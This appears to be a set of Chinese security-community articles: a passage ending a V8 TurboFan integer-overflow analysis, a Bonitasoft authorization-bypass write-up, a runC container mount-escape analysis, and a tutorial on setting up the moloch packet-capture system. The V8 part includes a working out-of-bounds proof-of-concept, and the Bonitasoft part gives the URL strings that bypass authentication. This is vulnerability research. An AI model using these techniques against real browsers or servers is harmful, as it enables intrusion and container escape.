lower阶段，因为word32截断（truncation.IsUsedAsWord32），VisitSpeculativeIntegerAdditiveOp将会被降低为Int32Add而不是CheckedInt32Add。
这里和上面将他的restriction_type设置为Type::Signed32()产生了冲突，这里也就是漏洞的主要成因。
template <Phase T>
void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
.......
if (lower<T>()) {
if (truncation.IsUsedAsWord32() ||
!CanOverflowSigned32(node->op(), left_feedback_type,
right_feedback_type, type_cache_,
graph_zone())) {
ChangeToPureOp(node, Int32Op(node));
} else {
ChangeToInt32OverflowOp(node);
}
}
.....
}
这里简单总结一下漏洞成因：
由于Type::Intersect(op _typer_.Name(input0_type, input1_type),
info->restriction_type(), graph_zone());和Type::Signed32()取交集最终产生了Feedback
type: Range(0, 2147483647)这个类型，但是我们实际是执行了0x7fffffff + 1 =
0x80000000，最终会溢出成-0x80000000，但是这个2147483648并没有包含在Feedback type中。
之后我们通过运算去影响NumberSign的lower：
我们这里来对比一下补丁前后的lower结果：
补丁前：
伪代码：
if ChangeInt32ToFloat64 < 0:
Select -1
else:
Select 1
补丁前我们进行的运算是0x80000000 – Math.sign(z|1)也就是0x80000000 – (-1)，由于Feedback
type分析错误，导致得到的结果为Range(2147483647,
2147483647)，所以这里会生成ChangeInt32ToFloat64，这将导致实际值0x80000001当作了-2147483647代入了NumberSign，满足<0，最终返回-1。
之后我们就可以用这个实际值为1，优化值为range(-1,0)的值z，去创建array，之后利用array.shift()这个trick创建出一个长度为-1，即0xffffffff的越界数组。
补丁后：
#43:SpeculativeSafeIntegerAdd[SignedSmall]
(#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge)
[Static type: Range(0, 2147483648)]
.....
#71:Phi[kRepTagged]
(#132:NumberSubtract, #70:NumberConstant, #68:Merge)
[Static type: Range(0, 2147483649)]
#123:NumberSign(#71:Phi) [Static type: Range(0, 1)]
伪代码：
if ChangeUInt32ToFloat64 < 0:
Select -1
else:
Select 1
补丁后，由于SpeculativeSafeIntegerAdd得到了正确结果Range(0, 2147483648)，最终0x80000000 –
Math.sign(z|1)的运算结果返回Range(0,
2147483649)，生成ChangeUInt32ToFloat64，0x80000001作为2147483649带入比较，自然大于0最终返回1。
### 补丁
@@ -1453,6 +1452,13 @@
Type left_feedback_type = TypeOf(node->InputAt(0));
Type right_feedback_type = TypeOf(node->InputAt(1));
+
+ // Using Signed32 as restriction type amounts to promising there won't be
+ // signed overflow. This is incompatible with relying on a Word32
+ // truncation in order to skip the overflow check.
+ Type const restriction =
+ truncation.IsUsedAsWord32() ? Type::Any() : Type::Signed32();
+
// Handle the case when no int32 checks on inputs are necessary (but
// an overflow check is needed on the output). Note that we do not
// have to do any check if at most one side can be minus zero. For
@@ -1466,7 +1472,7 @@
right_upper.Is(Type::Signed32OrMinusZero()) &&
(left_upper.Is(Type::Signed32()) || right_upper.Is(Type::Signed32()))) {
VisitBinop<T>(node, UseInfo::TruncatingWord32(),
- MachineRepresentation::kWord32, Type::Signed32());
+ MachineRepresentation::kWord32, restriction);
} else {
// If the output's truncation is identify-zeros, we can pass it
// along. Moreover, if the operation is addition and we know the
@@ -1486,8 +1492,9 @@
UseInfo right_use = CheckedUseInfoAsWord32FromHint(hint, FeedbackSource(),
kIdentifyZeros);
VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,
- Type::Signed32());
+ restriction);
}
+
if (lower<T>()) {
if (truncation.IsUsedAsWord32() ||
!CanOverflowSigned32(node->op(), left_feedback_type,
visit #45: SpeculativeNumberShiftRight (trunc: truncate-to-word32)
initial #43: truncate-to-word32
initial #44: truncate-to-word32
initial #43: truncate-to-word32
initial #36: no-value-use
visit #44: NumberConstant (trunc: truncate-to-word32)
visit #43: SpeculativeSafeIntegerAdd (trunc: truncate-to-word32)
由于截断传递截断是反向数据流分析，我们在45结点处将截断传递给了它的input也就是43结点，这样SpeculativeSafeIntegerAdd结点就具有了word32截断，补丁添加了Type
const restriction = truncation.IsUsedAsWord32() ? Type::Any() :
Type::Signed32();这样就会在word32截断的情况下设置restriction为Type::Any()，避免了漏洞的产生。
### 补充
上面分析过程中涉及到了一些知识在这里做一个补充：
1、 nodeinfo
class NodeInfo final {
public:
....
private:
enum State : uint8_t { kUnvisited, kPushed, kVisited, kQueued };
State state_ = kUnvisited;
MachineRepresentation representation_ =
MachineRepresentation::kNone; // Output representation.
Truncation truncation_ = Truncation::None(); // Information about uses.
Type restriction_type_ = Type::Any();
Type feedback_type_;
bool weakened_ = false;
};
它主要负责记录数据流分析中结点的信息：
* truncation_：该节点的截断信息。
* restriction _type_ ：在截断传递截断被设置，用于在retype截断设置feedback _type_ 。
* feedback _type_ ：retype截断重新设置的type。
* representation_：节点retype完成之后最终的表示类型，可以用于指明应该如何lower到更具体的 节点，是否需要Convert。
2、 ProcessInput
它是一个模版函数，在Simplified lowering的三个阶段中都有不同的实现，我们重点来看截断传递阶段：
template <>
void RepresentationSelector::ProcessInput<PROPAGATE>(Node* node, int index,
UseInfo use) {
DCHECK_IMPLIES(use.type_check() != TypeCheckKind::kNone,
!node->op()->HasProperty(Operator::kNoDeopt) &&
node->op()->EffectInputCount() > 0);
EnqueueInput<PROPAGATE>(node, index, use);
}
它用到了EnqueueInput函数
template <>
void RepresentationSelector::EnqueueInput<PROPAGATE>(Node* use_node, int index,
UseInfo use_info) {
Node* node = use_node->InputAt(index);
NodeInfo* info = GetInfo(node);
#ifdef DEBUG
// Check monotonicity of input requirements.
node_input_use_infos_[use_node->id()].SetAndCheckInput(use_node, index,
use_info);
#endif // DEBUG
if (info->unvisited()) {
info->AddUse(use_info);
TRACE(" initial #%i: %s\n", node->id(), info->truncation().description());
return;
}
TRACE(" queue #%i?: %s\n", node->id(), info->truncation().description());
if (info->AddUse(use_info)) {
// New usage information for the node is available.
if (!info->queued()) {
DCHECK(info->visited());
revisit_queue_.push(node);
info->set_queued();
TRACE(" added: %s\n", info->truncation().description());
} else {
TRACE(" inqueue: %s\n", info->truncation().description());
}
}
}
它首先通过`Node* node = use_node->InputAt(index);
NodeInfo* info =
GetInfo(node);`来获取输入节点对应的nodeinfo信息，之后调用AddUse来更新nodeinfo中的truncation_成员，从而实现截断的传播。
bool AddUse(UseInfo info) {
Truncation old_truncation = truncation_;
truncation_ = Truncation::Generalize(truncation_, info.truncation());
return truncation_ != old_truncation;
}
3、 SetOutput
它同样是一个模版函数。
* 截断传递截断，它将更新节点对应的nodeinfo的 restriction _type_ 。
* retype截断，它将更新节点的representation表示。
template <>
void RepresentationSelector::SetOutput<PROPAGATE>(
Node* node, MachineRepresentation representation, Type restriction_type) {
NodeInfo* const info = GetInfo(node);
info->set_restriction_type(restriction_type);
}
template <>
void RepresentationSelector::SetOutput<RETYPE>(
Node* node, MachineRepresentation representation, Type restriction_type) {
NodeInfo* const info = GetInfo(node);
DCHECK(info->restriction_type().Is(restriction_type));
DCHECK(restriction_type.Is(info->restriction_type()));
info->set_output(representation);
}
### 完整的oob poc：
这里用到了array.shift()这个trick（现在最新版本该trick已被修复），由于篇幅的限制这里就先不展开写了。
function foo(a) {
var y = 0x7fffffff;
if (a == NaN) y = NaN;
if (a) y = -1;
let z = y + 1;
z >>= 31;
z = 0x80000000 - Math.sign(z|1);
if(a) z = 0;
var arr = new Array(0-Math.sign(z));
arr.shift();
var cor = [1.1, 1.2, 1.3];
return [arr, cor];
}
%PrepareFunctionForOptimization(foo);
foo(true);
%OptimizeFunctionOnNextCall(foo);
print(foo(false)[0].length);
有了oob之后写exp就很容易了，就是常规写法这里就不叙述了。
## 有趣的点
由于turbofan中ir图显示的type都为Static type，无法体现Feedback
type的变化，所以这个漏洞在分析的过程中和之前有一些不同，学到了很多。
## 参考链接
* <https://github.com/singularseclab/Slides/blob/main/2021/chrome_exploitation-zer0con2021.pdf>
* <https://doar-e.github.io/blog/2020/11/17/modern-attacks-on-the-chrome-browser-optimizations-and-deoptimizations/>
最后感谢sakura师傅在分析过程中的帮助。 | 社区文章 |
**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/zGDZeG3_lz5IdJ-V4zZjhg>**
## **项目介绍**
Bonitasoft 是一个业务自动化平台，可以更轻松地在业务流程中构建、部署和管理自动化应用程序；Bonita
是一个用于业务流程自动化和优化的开源和可扩展平台。
## **漏洞描述**
在Bonitasoft Authorization漏洞版本，由于 API 授权过滤器中配置问题，通过精心构造的的字符串附加到 API
URL，能够绕过权限认证。拥有普通用户权限的攻击者在绕过权限认证后，将恶意代码部署到服务器上，进行远程代码执行。
## **利用范围**
**For community（社区版）:**
2022.1-u0 (7.14.0) 以下
**For subscription（订阅版）:**
2022.1-u0 (7.14.0) 以下
2021.2-u4 (7.13.4) 以下
2021.1-0307 (7.12.11) 以下
7.11.7 以下
## **漏洞分析**
#### **环境搭建**
使用docker搭建环境，docker镜像（<https://hub.docker.com/_/bonita/tags>）选择7.13.0版本。
下载镜像之后，直接输入命令docker run -d -p 8080:8080 -p 5050:5050，5050为远程动态调试端口。
在/opt/bonita目录下载源码。
使用idea进行远程调试配置。
在/opt/bonita/BonitaCommunity-2021.2-u0/server/bin/catalina.sh中加入配置。
随即访问<http://ip:8080>，环境搭建成功。
默认账号密码：install/install
#### **代码调试**
从漏洞披露参考文章看，该漏洞产生的原理是由于身份验证/权限绕过，导致没有特权的用户可以通过api端口上传恶意文件，从而命令执行。
定位到参考文章所提交到的filers
在bonita\BonitaCommunity-2021.2-u0\server\webapps\bonita\WEB-INF\web.xml配置文件中，自定义了filter，并且对参数excludePatterns进行了赋值。
2个不同的过滤器类RestAPIAuthorizationFilter、TokenValidatorFilter中的参数excludePattern都被指定为“i18ntranslation”
在web.xml的192行和215行定义了/API/*路由下对应的filter为RestAPIAuthorizationFilter、TokenValidatorFilter
而RestAPIAuthorizationFilter和TokenValidatorFilter都属于AbstractAuthorizationFilter子类。
定位到org.bonitasoft.console.common.server.login.filter.AbstractAuthorizationFilter#doFilter函数。
会使用“sessionIsNotNeeded”函数进行检查，如果它返回 true，它将继续应用程序流程。
而sessionIsNotNeeded 函数检查匹配 URL 中的是否包含excludePatterns
在web.xml已经对excludePatterns进行了赋值为“i18ntranslation”，所以当url中包含“i18ntranslation”时，isMatched
就会返回true
流程就会继续，就相当于绕过了权限过滤，允许访问资源。
总结就是在URl包含“/i18ntranslation/../”或“;i18ntranslation”就可以绕过权限认证。
为实现远程命令执行，思路是上传恶意文件，上传接口在web.xml中也定义了，为/API/pageUpload
找到org.bonitasoft.console.common.server.servlet.PageUploadServlet#getPagePermissions
在文件处理过程中，需要获取的session存在apisession
而且未登录的情况下，apisession也没法赋值，就会导致getPagePermissions抛出异常。
所以，为实现远程命令执行，还需要拥有一个普通的用户。
#### **漏洞复现**
先创建一个test/test用户。
根据以上分析原理，使用exp，成功执行命令。
## **修复建议**
更新至安全无漏洞版本。
## **参考材料**
1.<https://rhinosecuritylabs.com/application-security/cve-2022-25237-bonitasoft-authorization-bypass/>
2.<https://hub.docker.com/_/bonita>
* * * | 社区文章 |
**作者：1mperio@云鼎实验室
原文链接：<https://mp.weixin.qq.com/s/FQdNaLduPX4jZBKluOqFOA>**
## 0x01 背景
国外安全研究员[champtar](https://github.com/champtar)在日常使用中发现Kubernetes
tmpfs挂载存在逃逸现象，研究后发现runC存在条件竞争漏洞，可以导致挂载逃逸。
关于条件竞争TOCTOU和一些linux文件基础知识可见这篇文章[《初探文件路径条件竞争 -TOCTOU&CVE-2019-18276》](http://whip1ash.cn/2021/06/16/toctou/)。
CVE-2021-30465在Redteam的研究者视角中比较鸡肋，因为需要K8S批量创建POD的权限。但在产品安全的视角恰恰相反，针对Caas（Container
as a service）类产品，用户/租户拥有批量创建POD权限，利用挂载逃逸可打破租户间隔离，同时读取Host层面某些敏感数据，危害性极大。
## 0x02 RunC简介
为了让容器生态更加开放，Linux基金会发起OCI（Open Container
Initiative），目标是标准化容器格式和运行时，其中一个重要产物就是CRI（Container Runtime
Interface），抽象了容器运行时接口，使得上层调控容器更加便捷。containerd和runC都是其中代表产物，从dockerd中再剥离出containerd，向上提供rpc接口，再通过containerd去管理runC。containerd在初期也是直接对runC进行管理，但为了解决containerd进行升级等操作时会造成不可用的问题，containerd再拆出containerd-shim，独立对接runC。containerd从Runtime、Distribution、Bundle维度提供容器全生命周期的管理能力，runC专注于Runtime。
## 0x03 容器设备挂载相关基础知识
### Namespace
Namespace是linux控制系统资源的抽象层，将不同的进程放置入不同的Namespace将获得不同的资源视角，该项技术是容器实现的基础。
linux提供8种不同的Namespace以提供不同维度的隔离能力，分别是：
1. Cgroup
2. IPC
3. Network
4. Mount
5. PID
6. Time
7. User
8. UTS
其中，Cgroup和Mount Namespace是最常接触的，在容器挂载相关能力均通过Mount
Namespace进行实现。Namespace的使用主要通过 `clone` 和 `unshare` 两个方法实现，其中`clone`
创建新进程时，标志位为 `CLONE_NEW*` 将会创建新的Namespace并将子进程放入该Namespace，`unshare`
方法将调用进程放入不同的Namespace中。
### Mount Namespace
Linux中有一个很核心的思想，那就是一切皆文件。在该思想下，Linux通过挂载对不同设备中的文件进行管理。在Linux中，每一个空目录/文件都可以成为挂载点并设置相应的属性。
在Mount Namespace下，处在当前Namespace中的进程只对当前Namespace中的挂载点可见，通过
`/proc/[pid]/mounts` 、 `/proc/[pid]/mountinfo` 和 `/proc/[pid]/mountstats`
提供不同维度的数据。每个task（在Linux中，不论是进程还是线程，在内核的视角都是一个task）都会指向一个Namesapce（存放在task→nsproxy中）。
struct nsproxy {
atomic_t count;
struct uts_namespace *uts_ns;
struct ipc_namespace *ipc_ns;
struct mnt_namespace *mnt_ns;
struct pid_namespace *pid_ns;
struct net *net_ns;
};
由于容器在启动过程中，libcontainer会将一个新的Namespace并且将容器进程移入该Namespace下，所以不同的容器进程所指向的Namespace是不同的。
但Mount Namespace的引入也带来了新的问题，由于Mount
Namespace中的隔离性，当用户需要挂载一个新的磁盘使所有Namespace可见时，就需要在所有的Namespace中都进行一次挂载，很麻烦，于是2.6.15中引入了共享子树（Shared
Subrees）。通过在不同挂载点设置不同的属性，使挂载事件在不同的维度（peer group）进行传播。目前支持以下四种传播类型，其中
`MS_SHARED` 和 `MS_SLAVE` 比较常见。
1. MS_SHARED
2. MS_PRIVATE
3. MS_SLAVE
4. MS_UNBINDABLE
在`MS_SLAVE`传播属性的挂载点下，父挂载点（Master）的传播事件可以接收，但子挂载点下（Slave）的挂载事件不再传播，容器的Rootfs挂载即为该种类型，也就是说在容器中挂载的挂载动作是不影响宿主机的，保证了容器隔离。
## 0x04 漏洞分析
### RunC漏洞挂载逻辑分析
checkout到修复commit([0ca91f44f1664da834bc61115a849b56d22f595f](https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f))的上一个版本commit(c01a56034f5ab0c1aa314377a499fe60a9c26b36)。
### 整体流程如下
### 分析
RunC通过命令 `runc create + runc start` 或 `runc run` 启动一个容器， `runc create`
主要分为两部分，一部分是准备容器进程的启动参数，与真正实施容器 `runc init` 进程进行交互，保证容器初始化顺利进行；另外一部分是执行克隆出的
`runc init` 进程，加入各种namespace并初始化容器进程的执行环境。本文以第二部分为切入点进行分析，从
`libcontainer/standard_init_linux.go` 的 `linuxStandardInit.Init()` 开始，在其中调用
`prepareRootfs` ，准备初始化rootfs并进行挂载。
在`prepareRootfs` 中，调用 `prepareRoot` 设置初始挂载点，并设置挂载标志位为 `unix.MS_SLAVE |
unix.MS_REC` ，其后使用 `mountToRootfs` 对container.json中配置的挂载进行操作。
`prepareRoot` 中设置容器根目录挂载标志位为 `unix.MS_SLAVE | unix.MS_REC`
，容器在初始的时候会通过镜像中的容器标准包（bundle）挂载根文件系统（BaseFS），在这里runC默认将挂载点（Propagation
Type）设置为slave。由于当前已经处于容器的mount namespace中，所以当前 `\` 为容器根路径。
`rootfsParentMountPrivate` 函数确保上一层的挂载点是 `PRIVATE` ，应该是出于防止逃逸的考虑。
在`mountToRootfs` 中，针对不同的设备类型存在不同的处理逻辑。
在tmpfs的处理逻辑中， `configs.EXT_COPYUP`默认为1。
首先准备 `/tmp` 目录，在 `prepareTmp` 函数中将这个挂载点设置为 `MS_PRIVATE` ，再创建 `runctmpdir`
路径，将目标路径复制到 `tmpDir` 中，最后将 `dest` 路径挂载到`tmpDir` 中，且Propagation Type设置为
`MS_MOVE` 。对于`MS_MOVE` ，官方说明如下：
> If mountflags contains the flag MS_MOVE (available since Linux 2.4.18), then
> move a subtree: source specifies an existing mount point and target
> specifies the new location to which that mount point is to be relocated. The
> move is atomic: at no point is the subtree unmounted.
当此时的`dest` 为一个symlink时，subtree将覆盖已存在挂载点。所以此处存在TOCTOU（Time-of-check to time-of-use），在 `SecureJoin` 函数执行时，`dest` 为正常路径，当挂在发生时，`dest` 为symlink，导致逃逸发生。
### 结论
RunC为了防止在路径组合中的路径穿越漏洞，引入了[filepath-securejoin](https://github.com/cyphar/filepath-securejoin)作为符号链接过滤函数，但r在挂载时并未校验挂载的实际目的路径，从而导致存在TOCTOU条件竞争漏洞。
从securejoin的Readme中也可看出这一点。
之所以能够成功逃逸的另一原因在于tmpfs中为了实现copy-up功能使用MS_MOVE作为挂载标志，根据runC作者的描述只有在tmpfs情况才能够逃逸。
## 0x05 补丁分析
在补丁中，可以看出在tmpfs的挂载逻辑中，增加了 `doTmpfsCopyUp` 函数。
在其中使用 `WithProcfd` 函数防止TOCTOU漏洞的发生，所有的 `securejoin.SecureJoin`
移入`WithProcfd`进行统一处理。
`WithProcfd` 中使用 `/proc/self/fd/` ，确保打开的文件是`securejoin.SecureJoin` 后的文件。
## 0x06 POC分析
漏洞作者给出的POC中给出了一个很精妙的构造，利用了这个看似很难利用的条件竞争漏洞。
首先，创建两个公共tmpfs的挂载，名称为test1、test2，在容器A中，将test1挂载到/test1路径，test2挂载到/test2路径，同时将/test2/test2指向/
。在容器B中，将test1挂载到/test1路径，test2挂载到/test1/mntx路径和/test1/zzz路径。
在容器A启动后，将/test1/mnt-tmpx指向rootfs路径，且交换mnt和mnt-tmpx，且rootfs/test2/test2指向/（K8S中，同一个pod下的rootfs在一个路径，形如
`/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir` ）。
所以当条件竞争挂载的时候，即容器B启动时，挂载test2， `mount('/','rootfs/test1/zzz')` ，同时 `MS_MOVE`
标志位将原有该挂载点的subtree移至新挂载点下，造成逃逸发生。
## 0x07 总结
Linux在引入symlink的时候并不存在安全风险，但随着时代的变迁（容器的引入），symlink确实在一定程度上确实容易造成容器逃逸的发生。Linux在尝试在不同的角度去解决这个问题，但目前还没有很完全的能够解决此风险。这里不禁让人想引用tk的一句话：
> 安全意识要有时代背景。
作者认为伴随容器场景愈发复杂，安全研究的逐渐深入，非Linux内核漏洞导致的容器逃逸长期来看还会有一个增长的趋势。
## 0x08 Reference
1.runc mount destinations can be swapped via symlink-exchange to cause mounts
outside the rootfs (CVE-2021-30465)
<https://blog.champtar.fr/runc-symlink-CVE-2021-30465/>
2.About the Open Container Initiative
<https://opencontainers.org/about/overview/>
3.What is the relationship between containerd, OCI and runc?
<https://gitlab.cncf.ci/containerd/containerd/blob/revert-1502-test-image/docs/index.md>
4.Containerd Architecture
<https://github.com/docker-archive/containerd/blob/master/design/architecture.md>
5.namespaces(7) — Linux manual page
<https://man7.org/linux/man-pages/man7/namespaces.7.html>
6.clone(2) — Linux manual page
<https://man7.org/linux/man-pages/man2/clone.2.html>
7.unshare(2) — Linux manual page
<https://man7.org/linux/man-pages/man2/unshare.2.html>
8.Linux Namespace分析——mnt namespace的实现与应用
<https://hustcat.github.io/namespace-implement-1/>
9.Mount namespaces and shared subtrees
<https://lwn.net/Articles/689856/>
10.mount(2) — Linux manual page
<https://man7.org/linux/man-pages/man2/mount.2.html>
11.filepath-securejoin
<https://github.com/cyphar/filepath-securejoin>
12.tmpfs
<https://en.wikipedia.org/wiki/Tmpfs>
13.Overlay Filesystem
<https://www.kernel.org/doc/html/latest/filesystems/overlayfs.html#non-directories>
14.mount(2) — Linux manual page
<https://man7.org/linux/man-pages/man2/mount.2.html>
15.rootfs: add mount destination validation
<https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f>
16.Re: [PATCH 2/3] namei: implement AT_THIS_ROOT chroot-like path resolution
<https://lwn.net/ml/linux-kernel/CAG48ez30WJhbsro2HOc_DR7V91M+hNFzBP5ogRMZaxbAORvqzg@mail.gmail.com/>
* * * | 社区文章 |
# 【工具分享】moloch：网络流量回溯分析系统
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**0x01 故事背景**
某一天的早上，你怀着愉快的心情来到公司，开始美好的一天工作生活。有个业务后台的同事找到你说
昨天下班后有人反馈说访问他的业务后台有问题，他想分析网络层面的数据包看看，是否能看出什么问题。你微微一笑，作为一个资深网工，抓包这种小事，这不是正是花式秀tcpdump还是tshark的时候么？
突然又觉得那里不对…什么鬼？要抓昨天晚上的数据包，你突然想到的竟然是这货…
既然没有这么逆天的技能的时光鸡小伙伴 那还是搭建一个流量回溯系统吧
**0x02 架构简述**
流量回溯系统首先要面临几个问题：数据包的存取和协议的分析，当数据量很大的时候检索的速度等…
刚开始的想法是使用tshark 设定数据包大小，让tshark在后台一直抓包。用了一下效果不忍直视。
后来又找了一些其它的解决方案比如: [Analyzing Network Packets with Wireshark, Elasticsearch,
and Kibana](https://www.elastic.co/blog/analyzing-network-packets-with-wireshark-elasticsearch-and-kibana)之类的，效果都不是很好
直到有一天，老大介绍了一个系统：moloch。
数据的来源是交换机的镜像端口，moloch 系统主要涉及三个组件 Capture，elasticsearch 和 Viewer。
Capture 用来抓取流量会以pcap的格式存储到硬盘上面，还会存一份对应关系到es中，Viewer提供web界面。
**moloch简介**
Moloch是一款由 AOL
[开源](https://github.com/aol/moloch)的，能够大规模的捕获IPv4数据包（PCAP）、索引和数据库系统
**环境搭建**
存储数据包对机器的性能要求，moloch 提供了评估页面。
[Moloch Estimators](http://molo.ch/#estimators)
硬件环境：我的测试环境是一台Dell Inc. PowerEdge R720/0T0WRN
**cpu : Intel(R) Xeon(R) CPU E5-2650 0 @ 2.00GHz**
**memory: 100G+**
**disk: 8T**
这是一台配置比较好的机器。所以我的Capture Machines和Elasticsearch
Machines都放在一台上面，有条件的强烈推荐把这2个组件分离开来。
根据官方的文档有2个事情注意一下：
**1 Moloch is no longer supported on 32 bit machines.**
moloch不支持32位系统。
**2 Our deployment is on Centos 6 with the elrepo 4.x kernel upgrade for
packet performance increases.**
内核4.X 有助于抓包性能提升，我的系统环境 centos7 更新到最新的版本。
[root@moloch ~]# cat /etc/redhat-release CentOS Linux release 7.4.1708 (Core)
内核版本也更新到4.x。
[root@moloch ~]# uname -r4.13.7-1.el7.elrepo.x86_64
**moloch 安装**
先去官网下载一下安装包 [Downloads](http://molo.ch/#downloads)。
我选择是Nightly版本，可以体验新的特性 。
moloch安装命令
rpm -ivh moloch-nightly.x86_64.rpm
**pfring 安装**
moloch的Capture，默认使用libpcap，后面我们会用pfring，提升抓包性能。
cd /etc/yum.repos.d/
wget http://packages.ntop.org/centos-stable/ntop.repo -O ntop.repo•wget http://packages.ntop.org/centos-stable/epel-7.repo -O epel.repo•yum erase zeromq3 (Do this once to make sure zeromq3 is not installed)
yum clean all
yum update
yum install pfring
**elasticsearch 安装配置**
es可以选择在配置moloch时候安装，也可以自己单独安装，我选择自己单独安装。
安装命令
rpm -ivh elasticsearch-5.6.2.rpm
# 优化es[root@moloch elasticsearch]# vim jvm.options# Xms represents the initial size of total heap space# Xmx represents the maximum size of total heap space-Xms32g-Xmx32g
[root@moloch elasticsearch]# vim elasticsearch.yml
#抓包经常会把硬盘用完，当硬盘使用空间到80% es 就开始报警 ，我直接把报警关掉的。
cluster.routing.allocation.disk.threshold_enabled: falsenetwork.host: 10.10.7.7
[root@moloch ~]# curl http://10.10.7.7:9200{ "name" : "E2BtdPC", "cluster_name" : "elasticsearch", "cluster_uuid" : "EiSTiNE-QGaTt9z0V8HPkw", "version" : { "number" : "5.6.2", "build_hash" : "57e20f3", "build_date" : "2017-09-23T13:16:45.703Z", "build_snapshot" : false, "lucene_version" : "6.6.1"}, "tagline" : "You Know, for Search"}
**0x03 配置优化**
**配置moloch**
# 开始使用脚本配置moloch[root@moloch db]# /data/moloch-nightly/bin/ConfigureFound interfaces: bond0;em1;em2;em3;em4;lo# 选择需要监控的网卡 也就是你的镜像流量对应的网卡Semicolon ';' seperated list of interfaces to monitor [eth1] em4
Install Elasticsearch server locally for demo, must have at least 3G of memory, NOT recommended for prod# 写上es地址Elasticsearch server URL [http://localhost:9200] http://10.10.7.7:9200
# 输入一个密码
Password to encrypt S2S and other things [no-default] 输密码
Moloch - Creating configuration files
Installing systemd start files, use systemctl
Moloch - Installing /etc/logrotate.d/moloch to rotate files after 7 days
Moloch - Installing /etc/security/limits.d/99-moloch.conf to make core and memlock unlimited
Moloch - Downloading GEO files
# 这个地方等待时间有点长，需要去下载下面的文件
2017-09-27 14:56:46 URL:https://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.csv
2017-09-27 14:57:02 URL:http://www.maxmind.com/download/geoip/database/asnum/GeoIPASNum.dat.gz
2017-09-27 15:13:14 URL:http://download.maxmind.com/download/geoip/database/asnum/GeoIPASNumv6.dat.gz
2017-09-27 15:13:26 URL:http://www.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz
2017-09-27 15:13:35 URL:http://geolite.maxmind.com/download/geoip/database/GeoIPv6.dat.gz
5) Initialize/Upgrade Elasticsearch Moloch configuration
[root@moloch db]# /data/moloch/db/db.pl http://10.10.7.7:9200 initIt is STRONGLY recommended that you stop ALL moloch captures and viewers before proceeding.
There is 1 elastic search data node, if you expect more please fix first before proceeding.
This is a fresh Moloch install
Erasing
Creating
Finished. Have fun!Finished#
6) Add an admin user if a new install or after an init
[root@moloch db]# /data/moloch/bin/moloch_add_user.sh admin "输密码" tcitops --admin
7) Start everything
[root@moloch db]# systemctl restart molochcapture.service
[root@moloch db]# systemctl restart molochviewer.service
8) Look at log files for errors
/data/moloch/logs/viewer.log
/data/moloch/logs/capture.log
9) Visit http://molochhost:8005 with your favorite browser.
user: admin
password: password from step #6
不要使用弱口令哦！ **
**
**moloch 登陆**
经过上面的配置，让我们来访问一下moloch。
在浏览器中输入 [http://10.10.7.7:8005](http://10.10.7.7:8005/) 输入账号上面定的密码。
出现如下界面的时候 表示系统已经搭建起来啦。
**0x04 数据删除**
我现在的环境每天都有好几个T的数据包，es每天也有差不多200个G数据产生，所以当系统搭建起来后第一件事情 强烈推荐大家考虑数据的删除保留问题。
# 关于pcap的数据包 我是使用moloch来控制删除
[root@moloch ~]# vim /data/moloch-nightly/etc/config.ini
# moloch 默认是freeSpaceG = 5%，也就是磁盘空间会保留5% freeSpaceG = 5%
# es使用moloch自带的脚本来控制删除
[root@moloch db]# vim daily.sh
# !/bin/sh
# This script is only needed for Moloch deployments that monitor live traffic.
# It drops the old index and optimizes yesterdays index.
# It should be run once a day during non peak time.
# CONFIGESHOSTPORT=10.100.10.7:9200
RETAINNUMDAYS=1
/data/moloch-nightly/db/db.pl $ESHOSTPORT expire daily $RETAINNUMDAYS
# 在做个定时任务 每天晚上跑一次
[root@moloch ~]# crontab -e01 04 * * * /data/moloch-nightly/db/daily.sh >> /var/log/moloch/daily.log 2>&1
**网卡优化**
# Set ring buf size, see max with ethool -g eth0ethtool -G eth0 rx 4096 tx 4096# Turn off feature, see available features with ethtool -k eth0ethtool -K eth0 rx off tx off gs off tso off gso off
**High Performance Settings**
# MOST IMPORTANT, use basic magicMode, libfile kills performancemagicMode=basic
# 官方说 pfring 效果更好
# pfring/snf might be betterpcapReadMethod=tpacketv3
# Increase by 1 if still getting Input Dropstpacketv3NumThreads=2
# DefaultspcapWriteMethod=simplepcapWriteSize = 2560000
# Start with 5 packet threads, increase by 1 if getting thread dropspacketThreads=5
# Set to number of packets a secondmaxPacketsInQueue = 200000
**pfring 配置**
****
# 什么鬼 官方又建议 先去尝试tpacketv3 不过我还是建议使用pfring
We suggest you try tpacketv3 first if available on the host
[root@moloch ~]# vim /data/moloch-nightly/etc/config.inirootPlugins=reader-pfring.so
pcapReadMethod=pfring
**查看抓包** **
**
****
# 让我们先用命令看看 网卡接收流量
[root@moloch ~]# dstat -n
-net/total- recv send 115M 1761k 112M 1238k 109M 168k 107M 1111k 110M 1695k 111M 1477k 107M 2305k
我们在来看看同一时间moloch中抓包数据量，因为都是动态数值，但是结果如此接近，是不是可以说千兆网卡下已经可以做到100%
数据包抓取，不信你去看[pfring 官方文档](http://www.ntop.org/products/packet-capture/pf_ring/)
**
**
**0x05 功能使用**
看到这里的同学都应该是真爱了，下面开始满满都是福利啦。
**历史数据分析**
你可以写一些search expression自由搭配检索你需要的信息，es作为支持速度就是快。
举个例子：源ip == 10.101.26.60 and 协议是 http 的 信息如下：
**数据包导出**
你要是更习惯用wireshark分析，没有问题，moloch导出pcap也是很方便的、
推荐time range : “00:00:01”，bounding：“last
packet”。moloch显示的是会话信息，bounding就很好理解了。
还有记得点一下“matching items”我的环境一秒钟 大概导出200M的数据量。
先确定一下时间，然后点一下export pcap。
然后开始export pcap，就这么简单！
**0x06 结束语**
流量分析是一个比较复杂的系统工作，moloch在大规模的捕获数据包、索引方面做得相当卓越了。
在数据包的存取问题解决的情况下，随之而来的更多是数据包的分析：tcp的重传，mysql的慢查询，http的响应时间，这些可以从网络层面给业务带来红利的研究，值得大家去深挖研究。
欢迎有兴趣的小伙伴留言一起讨论。 | 社区文章 |
# 安卓漏洞 CVE 2017-13287 复现分析
##### 译文声明
本文是翻译文章
